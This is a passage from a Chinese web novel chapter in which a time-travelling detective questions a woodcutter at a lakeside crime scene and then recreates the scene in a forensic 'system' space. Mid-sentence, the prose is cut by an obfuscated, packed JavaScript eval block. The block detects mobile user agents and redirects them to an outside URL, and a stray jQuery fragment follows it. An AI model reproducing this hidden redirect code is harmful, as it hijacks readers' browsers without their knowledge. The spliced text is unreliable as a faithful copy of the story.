话说到这里,其实白森是略微有些放心的。
那个容州都督能调遣手底下的军卫封锁鸿清棋院周边,那他很有可能也会有封锁现场的动作,要是全交给县衙门里那几个连现场都不知道保护的草包来办,只怕无人看管的现场会被破坏得不成样子,这样一来要查到有价值的线索就会更难。
深秋时分,林间落叶堆积,马车轮碾在其上,发出沉闷的声响。没走多大一会儿,车轮声缓缓慢了下来,最终完全停下。
“小姐,棋院到了。”车夫在前面说,声音还有些发颤,显然是还没从此前“山匪”的刀下缓过神来。
“总算是到了!”陆焕第一个跳下车去,大吸了一口树林里的清新空气,伸了个懒腰。
白森跟着跳下车,放眼往前一看,发现他们停在一个缓坡前,坡上有一条长条青石砌成的石阶,身周的树林里多是些柏树和青松,偶有几株金桂,淡淡的桂花香气飘在林间。
陈钰雪扶着侍女的手臂走下车,来到白森身旁道:“白捕快,往上走就是鸿清棋院。”
白森顺着她的目光看上去,石阶路的尽头是一座门楼,其后有数间依山而建的大小房屋,一座陡峭险峻的山峰矗立在那些房屋后。
陈钰雪见白森仰着头看山,问道:“白捕快来我们静海没多久,应该还没来过九灵山吧?”
九灵山极高,直面鸿清棋院的这边是一面悬崖绝壁,西斜的秋阳照在绝壁上,染出一片金红,十分耀眼。茂密的树林从山峰上蔓延下来,他们身处的这一片密林也是山林的一隅。
白森在喉咙里“嗯”了一声,算是应答,回过身向湖边走去。
听到身后的陈钰雪对车夫和侍女说“老贵,你带马儿去林子里吃草,歇歇脚,阿琴,你就陪我去棋院里看看吧”,随后石阶上的脚步声渐去渐远,白森松了口气,算是暂时不用跟这千金小姐待在一块儿了。
陆焕站在树林与湖边浅滩的相交处,一只手搭在眉上,往湖面眺望,听见白森来到身边的动静,他转过头来苦着脸说:“失策失策,咱们没提前给棋院里打个招呼就来了,姓欧阳的那个老头子也不知道在哪儿,清雨湖这么大,谁知道棋院里的人是在什么地方发现尸体的。”
白森没说话,她左右张望了一圈,他们站立的位置距离那条直通鸿清棋院的石阶大约有二十多步的距离,往前是一片长满了芦苇丛的浅滩,目光穿过浅滩上的芦苇,能看到宽广的湖面。
浅滩上的芦苇有两人多高,密密麻麻,贸然走入其中必定会迷失方向,正因为这么多芦苇的存在,让人看不出浅滩有多宽,说不定在浅滩上走着走着就会一脚踩进深水里。
白森正要往前去细细探查一番,这时,芦苇丛中划出一艘渔船,横在他们面前。
站在船尾撑杆的是一位皮肤黝黑的男人,留着花白的长须,额上的抬头纹像是刀刻的一样,看起来估摸着年龄在五十岁上下。
撑船的男人看了眼站在浅滩边缘的两个不良人,开口问道:“干什么的?”
陆焕从怀中摸出证明他捕头身份的令牌递上去,道:“在下静海县衙捕头,陆焕,奉容州都督之命……”
男人打断陆焕的话,也不接递到他眼前的捕快令牌,直截了当地问道:“来查案的是吗?”
陆焕被这么一堵,不悦地道:“是,今天早上有人在这附近发现了尸体,我们是来查探的,你又是谁?”
“我是给鸿清棋院采樵的,”男人说着跳下渔船,来到陆焕和白森近前,“今天早上是我和欧阳山长一起报的官。”
“那现在你在这附近做什么?”陆焕把令牌放回怀里,不客气地说,“告诉你啊,少在这周围转悠,破坏了现场可有你麻烦的。”
樵夫冷淡地笑了笑,越过陆焕往另一边走去,边走边说:“我是受徐将军和欧阳山长所托,在这里巡游,免得一些闲杂人等靠近发现尸体的地方。”
听到这话,白森心里一喜,徐将军果然想到了要保护好现场。
陆焕一愣神,换上他标志性的嬉笑嘴脸追上去,“呀,这位老哥原来是负责保护现场的,失敬失敬,快带我们去发现尸体的地方看看。”
樵夫没跟他计较,往前路扬扬下巴,“前面不远就是了,跟我来吧。”
陆焕走在樵夫身旁,白森跟在两人后面,此时他们沿着浅滩和树林的交界往前走,左侧是越来越密的树林,右侧是一成不变的芦苇和浅滩,身后是鸿清棋院所在的方向。
跟在后面的白森注意到这樵夫年纪虽长,身形却颇为健实,脚上踏了一双草编的鞋,大步流星的往前走着,小腿肌肉鼓囊囊的。
走了百十步的距离,樵夫停下来,抬手指着浅滩上的一丛芦苇,道:“到了,就是这里。”
陆焕和白森两人一同朝樵夫指点的方位看去,在他们眼前的浅滩与一路走过的其他地方有明显的差别,显然是有很多人在上面活动过,密集杂乱的芦苇大都折断倒伏在泥地上。
“今天早上我在附近林子里砍柴,忽然听到湖边传来几声惊叫,”樵夫低头看着浅滩,面色阴沉,“我急忙跑过来,是我们棋院的两个书童,当时他们两人的脸都被吓白了,他们一起指着那个地方……”
他盯着远处的几丛芦苇,深吸了口气,又缓缓道:“就在那儿,那片芦苇底下,我看到有半边人身泡在水里,我那时也被吓到了,好半天才缓过神,我走上去把水里的人拉出来,人已经没气了。”
白森微眯起眼睛,紧盯着樵夫手指向的芦苇丛。
在他们前面的浅滩上,除了杂乱倒伏的芦苇丛,还有很多凌乱的脚印遍布于浅滩的泥地和倒伏的芦苇杆上。
不用说,这就是被严重破坏的现场了。
白森先在心里把县衙门里那些成事不足败事有余的官差骂了一通,这才问道:“老叔,你还记得发现尸体的时候,这片浅滩是什么样吗?”
她抬手在浅滩上凌空画了个圈,樵夫看懂了她的意思,皱起眉仔细回想了一番,答道:“不像现在这么乱,你看到的这些倒在地上的芦苇,还有泥滩上的脚印,都是后来县衙门的人来弄成这样的,至于其他的,我当时急着救人,就没仔细留意。”
白森往前踏出一步,走上浅滩,潮黏的淤泥立时咬住了她的脚掌,留下一个明显的脚印。
望着滩上满是混乱的脚印,她知道从这个樵夫口中已经得不到更多有价值的信息了,而现场已经被破坏得不成样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041079|162531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,接下来就只能靠刑侦系统了。
白森闭上眼,默想开启系统空间。
“欢迎回来。”电子女音在她再次睁眼的同时响起来。
白森径直走向今天花费三十两黄金开启的物证分析室,推开门之前她先深吸了一口气,似乎预感到什么,心脏不可抑制的加速跳动起来。
推开门,眼前不再是空旷的房间,而是一片铺满枯枝败叶的树林,透过树木间的缝隙,能看到前方的湖面和湖边的芦苇丛。
果然如此!惊喜的白森一挥拳头。
她往湖边走去,绕过几棵青松和金桂树,湖风拂面而来,风里的土腥味冲散了金桂的香气。来到湖边,前方就是长满芦苇的浅滩,极目远眺,能看到在秋阳下波光粼粼的湖面。
往前走几步,来到芦苇倒伏,满是凌乱脚印的浅滩,这里便是现实中发现徐公子尸体的现场,而那个摆放有各种物证分析工具的陈列柜就在不远处的一棵金桂树旁。
刑侦系统果真能够把现实中需要查探的现场在物证分析室内一比一还原,这就让陈列柜中那些现代高科技工具在千年前的武周王朝有了用武之地。
白森兴奋地跳下浅滩,脚踩在裹着腐叶的泥土上,正要往前走,忽然,系统的电子女音响了起来。
“特别提示,”电子女音用没有半分情感的语调说,“现场在物证分析室内只能还原一次,若您对已完成还原的现场造成破坏,则无法进行重置。”
白森赶紧收住了脚。
原来这里的现场也会被破坏,还不可逆转,这下她可不敢轻举妄动了。
她视线在四周扫了一圈,一瞬间就发现物证分析室除了只能还原一次的现场,还有一个明显的局限——在这其中还原的现场是她在现实世界中亲眼所见,亲身所临的现场,也就是已经被破坏的现场,物证分析室无法穿越时间,回到过去还原出棋院书童刚刚发现尸体的现场。
当然,这也不能被称之为局限,如果物证分析室能够穿越到过去,将过去存在的最完美的现场还原出来,那还要她这个刑侦高手做什么?
白森退回到树林边,望着混乱不堪的浅滩,刚刚涌起的兴奋劲儿迅速过去了,她的眉头微微皱起。
在刑侦学院时她就跟着教官参与过几次犯罪现场勘查,她知道要把一处犯罪现场查明白是一件相当繁杂的工作,常常需要几个人甚至一整个刑警队联手找寻凶手落下的痕迹,每一个细枝末节的线索都不能漏掉,而眼下能出入刑侦系统空间的只有她一个人,眼前这么大一片浅滩,数不清的芦苇丛,她孤身一人要查到什么时候去?
虽说在系统空间内的时间独立于现实世界的时间,在系统内过去了一百年,现实世界也不会流逝一分一秒,但一想到如此庞大的工作量,还是让白森望而却步。
就没有能提升查案效率的技术或者工具么?
白森猛地想起刚开启物证分析室的时候,那个干硬的电子女音介绍说,在这个空间内,可以使用截至公元2025年最先进的物证分析设备。
在2025年,有什么成熟的技术可以用得上呢?
白森转过头,看向树林中的陈列柜,那棵金桂树在柜子旁边迎风微晃。